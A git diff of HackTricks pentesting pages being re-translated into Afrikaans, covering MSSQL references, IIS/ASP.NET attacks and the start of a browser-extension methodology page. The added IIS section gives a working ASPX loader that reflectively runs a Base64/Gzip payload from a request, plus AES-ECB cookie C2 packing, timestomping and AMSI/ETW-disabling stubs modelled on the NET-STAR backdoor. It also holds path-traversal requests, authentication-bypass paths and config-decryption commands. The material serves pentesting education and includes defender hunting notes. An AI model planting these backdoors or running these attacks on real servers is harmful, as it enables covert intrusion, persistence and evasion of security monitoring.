+Die gebruiker wat die MSSQL-server laat loop sal die privilege-token **SeImpersonatePrivilege.** geaktiveer hê. Jy sal waarskynlik in staat wees om **na Administrator te eskaleer** deur een van hierdie 2 bladsye te volg:
-Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg:
 
 
 {{#ref}}
@@ -575,6 +606,18 @@ Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een v
 
 ## Verwysings
 
+- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
+- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
+- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
+- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
+- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
+- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
+- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
+
+
 - [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
 - [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
 - [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

src/network-services-pentesting/pentesting-web/iis-internet-information-services.md

@@ -2,21 +2,21 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Toets uitvoerbare lêer uitbreidings:
+Toets uitvoerbare lêeruitbreidings:
 
 - asp
 - aspx
 - config
 - php
 
-## Interne IP-adres bekendmaking
+## Interne IP-adres blootstelling
 
-Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verwyder en HTTP/1.0 te gebruik, en binne die antwoord kan die Location-kop jou na die interne IP-adres lei:
+Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host header te verwyder en HTTP/1.0 te gebruik; binne die response kan die Location header na die interne IP-adres wys:
 ```
 nc -v domain.com 80
 openssl s_client -connect domain.com:443
 ```
-Antwoord wat die interne IP openbaar:
+Respons wat die interne IP openbaar:
 ```
 GET / HTTP/1.0
 
@@ -27,13 +27,13 @@ Location: https://192.168.5.237/owa/
 Server: Microsoft-IIS/10.0
 X-FEServer: NHEXCHANGE2016
 ```
-## Voer .config lêers uit
+## Execute .config files
 
-Jy kan .config lêers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer binne 'n HTML-kommentaar te voeg: [Download voorbeeld hier](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
+You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
 
-Meer inligting en tegnieke om hierdie kwesbaarheid te benut [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
+More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
 
-## IIS Ontdekking Bruteforce
+## IIS Discovery Bruteforce
 
 Laai die lys af wat ek geskep het:
 
@@ -50,63 +50,63 @@ Dit is geskep deur die inhoud van die volgende lyste te kombineer:
 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
 [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
 
-Gebruik dit sonder om enige uitbreiding by te voeg, die lêers wat dit benodig het dit reeds.
+Gebruik dit sonder om enige lêeruitbreiding by te voeg; die lêers wat dit benodig het dit reeds.
 
-## Pad Traversal
+## Path Traversal
 
-### Lek van bronkode
+### Leaking source code
 
-Kyk na die volledige skrywe in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
+Kyk na die volledige uiteensetting by: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
 
-> [!NOTE]
+> [!TIP]
-> As opsomming, daar is verskeie web.config lêers binne die vouers van die aansoek met verwysings na "**assemblyIdentity**" lêers en "**namespaces**". Met hierdie inligting is dit moontlik om te weet **waar uitvoerbare lêers geleë is** en dit af te laai.\
+> In opsomming, is daar verskeie web.config-lêers binne die vouers van die toepassing met verwysings na "**assemblyIdentity**" files en "**namespaces**". Met hierdie inligting is dit moontlik om te bepaal **where are executables located** en dit af te laai.\
-> Van die **afgelaaide Dlls** is dit ook moontlik om **nuwe namespaces** te vind waar jy moet probeer om toegang te verkry en die web.config lêer te kry om nuwe namespaces en assemblyIdentity te vind.\
+> Vanaf die **downloaded Dlls** is dit ook moontlik om **new namespaces** te vind waaroor jy moet probeer toegang kry en die web.config-lêer bekom om nuwe namespaces en assemblyIdentity te vind.\
-> Ook, die lêers **connectionstrings.config** en **global.asax** mag interessante inligting bevat.
+> Ook kan die lêers **connectionstrings.config** en **global.asax** interessante inligting bevat.
 
-In **.Net MVC aansoeke**, speel die **web.config** lêer 'n belangrike rol deur elke binêre lêer wat die aansoek afhanklik is van te spesifiseer deur middel van **"assemblyIdentity"** XML etikette.
+In **.Net MVC applications**, die **web.config** file speel 'n kritieke rol deur elke binêre lêer waarop die toepassing staatmaak te spesifiseer deur middel van **"assemblyIdentity"** XML tags.
 
-### **Verkenning van Binêre Lêers**
+### **Exploring Binary Files**
 
-'n Voorbeeld van toegang tot die **web.config** lêer word hieronder getoon:
+An example of accessing the **web.config** file is shown below:
 ```html
 GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
-Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:
+Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos:
 
 - **EntityFramework** weergawe
-- **AppSettings** vir webbladsye, kliëntvalidasie, en JavaScript
+- **AppSettings** vir webbladsye, kliëntvalidasie en JavaScript
-- **System.web** konfigurasies vir outentisering en tydsduur
+- **System.web** konfigurasies vir verifikasie en Runtime
-- **System.webServer** modules instellings
+- **System.webServer** module-instellings
 - **Runtime** assembly bindings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc**
 
-Hierdie instellings dui aan dat sekere lêers, soos **/bin/WebGrease.dll**, geleë is binne die toepassing se /bin gids.
+Diese instellings dui daarop dat sekere lêers, soos **/bin/WebGrease.dll**, in die toepassing se /bin folder geleë is.
 
-### **Worteldirectory Lêers**
+### **Lêers in die wortelgids**
 
-Lêers wat in die worteldirectory gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
+Lêers wat in die wortelgids gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
 
-### **Namespaces en Web.Config**
+### **Naamruimtes en Web.Config**
 
-MVC-toepassings definieer ook addisionele **web.config lêers** vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai:
+MVC-toepassings definieer ook addisionele **web.config files** vir spesifieke naamruimtes om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om nog 'n **web.config** af te laai:
 ```html
 GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
-### **Aflaai DLL's**
+### **Aflaai van DLLs**
 
-Die vermelding van 'n pasgemaakte naamruimte dui op 'n DLL genaamd "**WebApplication1**" wat in die /bin-gids teenwoordig is. Na hierdie, word 'n versoek om die **WebApplication1.dll** af te laai, gewys:
+Die vermelding van 'n pasgemaakte namespace dui op 'n DLL met die naam "**WebApplication1**" wat in die /bin-gids teenwoordig is. Daarna word 'n versoek getoon om die **WebApplication1.dll** af te laai:
 ```html
 GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
 Host: example-mvc-application.minded
 ```
-Dit dui op die teenwoordigheid van ander essensiële DLL's, soos **System.Web.Mvc.dll** en **System.Web.Optimization.dll**, in die /bin-gids.
+Dit dui op die teenwoordigheid van ander noodsaaklike DLLs, soos **System.Web.Mvc.dll** en **System.Web.Optimization.dll**, in die /bin-gids.
 
-In 'n scenario waar 'n DLL 'n naamruimte genaamd **WebApplication1.Areas.Minded** invoer, kan 'n aanvaller die bestaan van ander web.config-lêers in voorspelbare paaie aflei, soos **/area-name/Views/**, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin-gids bevat. Byvoorbeeld, 'n versoek na **/Minded/Views/web.config** kan konfigurasies en naamruimtes onthul wat die teenwoordigheid van 'n ander DLL, **WebApplication1.AdditionalFeatures.dll**, aandui.
+In ’n scenario waar ’n DLL ’n naamruimte invoer genaamd **WebApplication1.Areas.Minded**, kan ’n aanvaller die bestaan van ander web.config-lêers in voorspelbare paaie, soos **/area-name/Views/**, aflei, wat spesifieke konfigurasies en verwysings na ander DLLs in die /bin-gids bevat. Byvoorbeeld, ’n versoek na **/Minded/Views/web.config** kan konfigurasies en naamruimtes openbaar wat die teenwoordigheid van nog ’n DLL, **WebApplication1.AdditionalFeatures.dll**, aandui.
 
 ### Algemene lêers
 
-From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
+Van [hier](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
 ```
 C:\Apache\conf\httpd.conf
 C:\Apache\logs\access.log
@@ -185,21 +185,138 @@ C:\xampp\tomcat\conf\server.xml
 ```
 ## HTTPAPI 2.0 404 Fout
 
-As jy 'n fout soos die volgende sien:
+If you see an error like the following one:
 
-![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
+![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
 
-Dit beteken dat die bediener **nie die korrekte domeinnaam** binne die Host-header ontvang het.\
+Dit beteken dat die bediener **nie die korrekte domeinnaam ontvang het** in die Host header.\
-Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL Sertifikaat** en dalk kan jy die domein/subdomeinnaam daar vind. As dit nie daar is nie, mag jy **brute force VHosts** moet gebruik totdat jy die korrekte een vind.
+Om toegang tot die webblad te kry kan jy kyk na die bediende **SSL Certificate** en dalk vind jy die domein/subdomein daar. As dit nie daar is nie, moet jy dalk **brute force VHosts** totdat jy die korrekte een vind.
 
-## Ou IIS kwesbaarhede wat die moeite werd is om na te kyk
+## Ontsleutel versleutelde konfigurasie en ASP.NET Core Data Protection key rings
 
-### Microsoft IIS tilde karakter “\~” Kwesbaarheid/Funksie – Korte Lêer/Map Naam Ontsluiting
+Twee algemene patrone om geheime op IIS-hosted .NET apps te beskerm is:
+- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) vir web.config afdelings soos <connectionStrings>.
+- ASP.NET Core Data Protection key ring (lokaal gestoor) gebruik om toepassing-sekrete en cookies te beskerm.
 
-Jy kan probeer om **mappe en lêers** binne elke ontdekte map te **enumerate** (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie **tegniek**.\
+As jy lêerstelsel- of interaktiewe toegang op die webbediener het, maak saamgeplaasde sleutels dikwels ontsleuteling moontlik.
-Die hoofbeperking van hierdie tegniek, as die bediener kwesbaar is, is dat dit **slegs tot die eerste 6 letters van die naam van elke lêer/map en die eerste 3 letters van die uitbreiding** van die lêers kan vind.
 
-Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
+- ASP.NET (Full Framework) – ontsleutel beskermde config-afdelings met aspnet_regiis:
+```cmd
+# Decrypt a section by app path (site configured in IIS)
+%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
+
+# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
+%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
+```
+- ASP.NET Core – kyk vir Data Protection key rings wat plaaslik gestoor is (XML/JSON files) onder plekke soos:
+- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
+- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
+- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
+
+Met die key ring beskikbaar kan 'n operator wat in die app se identiteit werk 'n IDataProtector instansie skep met dieselfde purposes en gestoor­de geheime unprotect. Misconfigurasies wat die key ring saam met die app-lêers stoor maak offline decryption eenvoudig sodra die host gekompromitteer is.
+
+## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
+
+Die Phantom Taurus/NET-STAR toolkit toon 'n volwasse patroon vir fileless IIS persistence en post‑exploitation heeltemal binne w3wp.exe. Die kernideeë is breedweg herbruikbaar vir aangepaste tradecraft en vir detection/hunting.
+
+Belangrike boustene
+- ASPX bootstrapper hosting an embedded payload: 'n enkele .aspx bladsy (e.g., OutlookEN.aspx) dra 'n Base64‑encoded, opsioneel Gzip‑compressed .NET DLL. By 'n trigger request decodeer, dekomprimeer en load dit reflectively in die huidige AppDomain en roep die hoof entry point aan (e.g., ServerRun.Run()).
+- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results word toegedraai met Gzip → AES‑ECB/PKCS7 → Base64 en verskuif via skynbaar geldige cookie‑ryke requests; operators het stabiele delimiters (e.g., "STAR") vir chunking gebruik.
+- Reflective .NET execution: aanvaar arbitrêre managed assemblies as Base64, laad via Assembly.Load(byte[]) en gee operator args vir vinnige module swaps sonder om die disk aan te raak.
+- Operating in precompiled ASP.NET sites: voeg/beheer hulp‑shells/backdoors selfs wanneer die site precompiled is (e.g., dropper voeg dynamic pages/handlers by of benut config handlers) – blootgestel deur opdragte soos bypassPrecompiledApp, addshell, listshell, removeshell.
+- Timestomping/metadata forgery: bied 'n changeLastModified action en timestomp by ontplooiing (insluitend toekomstige compilation timestamps) om DFIR te bemoeilik.
+- Optional AMSI/ETW pre‑disable for loaders: 'n tweede‑fase loader kan AMSI en ETW deaktiveer voordat dit Assembly.Load aanroep om inspeksie van in‑memory payloads te verminder.
+
+Minimal ASPX loader pattern
+```aspx
+<%@ Page Language="C#" %>
+<%@ Import Namespace="System" %>
+<%@ Import Namespace="System.IO" %>
+<%@ Import Namespace="System.IO.Compression" %>
+<%@ Import Namespace="System.Reflection" %>
+<script runat="server">
+protected void Page_Load(object sender, EventArgs e){
+// 1) Obtain payload bytes (hard‑coded blob or from request)
+string b64 = /* hardcoded or Request["d"] */;
+byte[] blob = Convert.FromBase64String(b64);
+// optional: decrypt here if AES is used
+using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
+using(var ms = new MemoryStream()){
+gz.CopyTo(ms);
+var asm = Assembly.Load(ms.ToArray());
+// 2) Invoke the managed entry point (e.g., ServerRun.Run)
+var t = asm.GetType("ServerRun");
+var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
+object inst = m.IsStatic ? null : Activator.CreateInstance(t);
+m.Invoke(inst, new object[]{ HttpContext.Current });
+}
+}
+}
+</script>
+```
+Verpakking/crypto-hulpmiddels (Gzip + AES‑ECB + Base64)
+```csharp
+using System.Security.Cryptography;
+
+static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
+using(var aes = Aes.Create()){
+aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
+ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
+return t.TransformFinalBlock(data, 0, data.Length);
+}
+}
+
+static string Pack(object obj, byte[] key){
+// serialize → gzip → AES‑ECB → Base64
+byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
+using var ms = new MemoryStream();
+using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
+byte[] enc = AesEcb(ms.ToArray(), key, true);
+return Convert.ToBase64String(enc);
+}
+
+static T Unpack<T>(string b64, byte[] key){
+byte[] enc = Convert.FromBase64String(b64);
+byte[] cmp = AesEcb(enc, key, false);
+using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
+using var outMs = new MemoryStream(); gz.CopyTo(outMs);
+return Deserialize<T>(outMs.ToArray());
+}
+```
+Cookie/session-vloei en command-oppervlak
+- Session-bootstrap en taakopdragte word via cookies gedra om by normale web-aktiwiteit in te meng.
+- Opdragte wat in die veld waargeneem is, sluit in: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; en dinamiese uitvoeringsprimitiewe code_self, code_pid, run_code vir in‑memory .NET-uitvoering.
+
+Timestomping hulpmiddel
+```csharp
+File.SetCreationTime(path, ts);
+File.SetLastWriteTime(path, ts);
+File.SetLastAccessTime(path, ts);
+```
+Inlyn AMSI/ETW uitskakeling voor Assembly.Load (loader variant)
+```csharp
+// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
+// and ntdll!EtwEventWrite to a stub; then load operator assembly
+DisableAmsi();
+DisableEtw();
+Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
+```
+See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
+
+Hunting notes (verdedigers)
+- Enkele, vreemde ASPX-bladsy met baie lang Base64/Gzip blobs; cookie‑ryke poste.
+- Onondersteunde managed modules binne w3wp.exe; strings soos Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
+- Herhaalde afbakeners soos "STAR" in verkeer; wanpassende of selfs toekomstige tydstempels op ASPX/assemblies.
+
+## Ou IIS-kwesbaarhede wat die moeite werd is om te soek
+
+
+### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
+
+Jy kan probeer om **enumerate folders and files** binne elke gevonde gids (selfs as dit Basic Authentication vereis) deur hierdie **technique** te gebruik.\
+Die hoofbeperking van hierdie technique as die bediener kwesbaar is, is dat **dit slegs die eerste 6 letters van die naam van elke file/folder en die eerste 3 letters van die uitbreiding** van die files kan vind.
+
+Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwetsbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
 
 ![](<../../images/image (844).png>)
 
@@ -207,41 +324,41 @@ Oorspronklike navorsing: [https://soroush.secproject.com/downloadable/microsoft_
 
 Jy kan ook **metasploit** gebruik: `use scanner/http/iis_shortname_scanner`
 
-'n Goeie idee om die **finale naam** van die ontdekte lêers te **vind** is om **LLMs** vir opsies te **vraag** soos dit in die skrif [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gedoen word.
+’n goeie idee om die **finale naam** van die ontdekte files te vind is om **ask LLMs** vir opsies, soos in die script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
 
-### Basiese Verifikasie omseiling
+### Basic Authentication bypass
 
-**Omseil** 'n basiese verifikasie (**IIS 7.5**) deur te probeer om toegang te verkry tot: `/admin:$i30:$INDEX_ALLOCATION/admin.php` of `/admin::$INDEX_ALLOCATION/admin.php`
+**Bypass** a basic authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
 
-Jy kan probeer om hierdie **kwesbaarheid** en die laaste een te **meng** om nuwe **mappe** te vind en die verifikasie te **omseil**.
+Jy kan probeer om hierdie **vulnerability** en die laaste een te **mix** om nuwe **folders** te vind en die authentication te **bypass**.
 
-## ASP.NET Trace.AXD geaktiveerde foutopsporing
+## ASP.NET Trace.AXD ingeskakelde debugging
 
-ASP.NET sluit 'n foutopsporingsmodus in en sy lêer word `trace.axd` genoem.
+ASP.NET sluit 'n debugging-modus in en die lêer heet `trace.axd`.
 
-Dit hou 'n baie gedetailleerde logboek van alle versoeke wat oor 'n tydperk aan 'n toepassing gemaak is.
+Dit hou 'n baie gedetailleerde log van alle versoeke aan 'n toepassing oor 'n tydperk.
 
-Hierdie inligting sluit afstandsklient IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in.
+Hierdie inligting sluit in remote client IP's, session IDs, alle request en response cookies, fisiese paths, source code inligting, en potensieel selfs gebruikersname en passewoorde.
 
 [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
 
 ![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
 
-## ASPXAUTH Koekie
+## ASPXAUTH Cookie
 
 ASPXAUTH gebruik die volgende inligting:
 
-- **`validationKey`** (string): hex-gecodeerde sleutel om te gebruik vir handtekeningvalidasie.
+- **`validationKey`** (string): hex-encoded key to use for signature validation.
-- **`decryptionMethod`** (string): (standaard “AES”).
+- **`decryptionMethod`** (string): (default “AES”).
-- **`decryptionIV`** (string): hex-gecodeerde inisialiseringvektor (standaard na 'n vektor van nulles).
+- **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
-- **`decryptionKey`** (string): hex-gecodeerde sleutel om te gebruik vir ontsleuteling.
+- **`decryptionKey`** (string): hex-encoded key to use for decryption.
 
-Ehowever, sommige mense sal die **standaardwaardes** van hierdie parameters gebruik en sal as **koekie die e-pos van die gebruiker** gebruik. Daarom, as jy 'n web kan vind wat die **dieselfde platform** gebruik wat die ASPXAUTH koekie gebruik en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil naboots** op die bediener onder aanval skep, mag jy in staat wees om die koekie van die tweede bediener in die eerste een te **gebruik** en die gebruiker na te boots.\
+Ongelukkig sal sommige mense die **default values** van hierdie parameters gebruik en as **cookie die e-pos van die gebruiker** instel. Daarom, as jy 'n webwerf vind wat die **same platform** gebruik en die ASPXAUTH cookie gebruik, en jy **create a user with the email of the user you want to impersonate** op die teiken-bediener, mag jy die **cookie from the second server in the first one** gebruik en die gebruiker impersonate.\
-Hierdie aanval het gewerk in hierdie [**skrywe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
+Hierdie aanval het gewerk in hierdie [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
 
-## IIS Verifikasie Omseiling met gekapte wagwoorde (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
+## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
 
-[Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n fout in die kode **het nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie**, so 'n aanvaller wie se **wagwoordhash 'n sleutel tref** wat reeds in die **cache** is, sal in staat wees om as daardie gebruiker aan te meld.
+[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n fout in die kode **het nie behoorlik die password geverifieer wat deur die gebruiker gegee is nie**, so 'n aanvaller wie se **password hash 'n sleutel tref** wat reeds in die **cache** is, sal as daardie gebruiker kan aanmeld .
 ```python
 # script for sanity check
 > type test.py
@@ -261,4 +378,9 @@ HTTP/1.1 401 Unauthorized
 > curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
 HTTP/1.1 200 OK
 ```
+## Verwysings
+
+- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
+- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
+
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -1,43 +1,43 @@
-# Browser Extension Pentesting Methodology
+# Blaaieruitbreiding Pentesting Metodologie
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Basiese Inligting
 
-Bladsy-uitbreidings is in JavaScript geskryf en word deur die blaaiert in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js_htmldom.asp) maar kan met ander webwerwe se DOM's interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit en beskikbaarheid (CIA) kan benadeel.
+Blaaieruitbreidings is in JavaScript geskryf en word deur die blaaier in die agtergrond gelaai. Dit het sy eie [DOM](https://www.w3schools.com/js/js_htmldom.asp) maar kan met ander sites se DOMs interaksie hê. Dit beteken dat dit die vertroulikheid, integriteit en beskikbaarheid (CIA) van ander sites kan kompromitteer.
 
-## Main Components
+## Hoofkomponente
 
-Uitbreidingsuitleg lyk die beste wanneer dit visueel voorgestel word en bestaan uit drie komponente. Kom ons kyk na elke komponent in diepte.
+Extension layouts lyk die beste wanneer dit gevisualiseer word en bestaan uit drie komponente. Kom ons kyk na elke komponent in diepte.
 
 <figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
 ### **Content Scripts**
 
-Elke inhoudskrip het direkte toegang tot die DOM van 'n **enkele webblad** en is dus blootgestel aan **potensieel kwaadwillige invoer**. Die inhoudskrip bevat egter geen regte nie, behalwe die vermoë om boodskappe na die uitbreiding se kern te stuur.
+Each content script het direkte toegang tot die DOM van 'n **single web page** en is daarmee blootgestel aan **potentially malicious input**. Die content script bevat egter geen permissies behalwe die vermoë om boodskappe na die extension core te stuur nie.
 
 ### **Extension Core**
 
-Die uitbreiding se kern bevat die meeste van die uitbreiding se voorregte/toegang, maar die uitbreiding se kern kan slegs met webinhoud interaksie hê via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) en inhoudskripte. Ook het die uitbreiding se kern nie direkte toegang tot die gasheer masjien nie.
+Die extension core bevat die meeste van die uitbreiding se voorregte/toegang, maar die extension core kan slegs met webinhoud kommunikeer via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) en content scripts. Ook het die extension core nie direkte toegang tot die gasheermasjien nie.
 
 ### **Native Binary**
 
-Die uitbreiding laat 'n inheemse binêre toe wat **toegang tot die gasheer masjien met die gebruiker se volle voorregte kan hê.** Die inheemse binêre interaksie met die uitbreiding se kern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaaiers se plug-ins gebruik word.
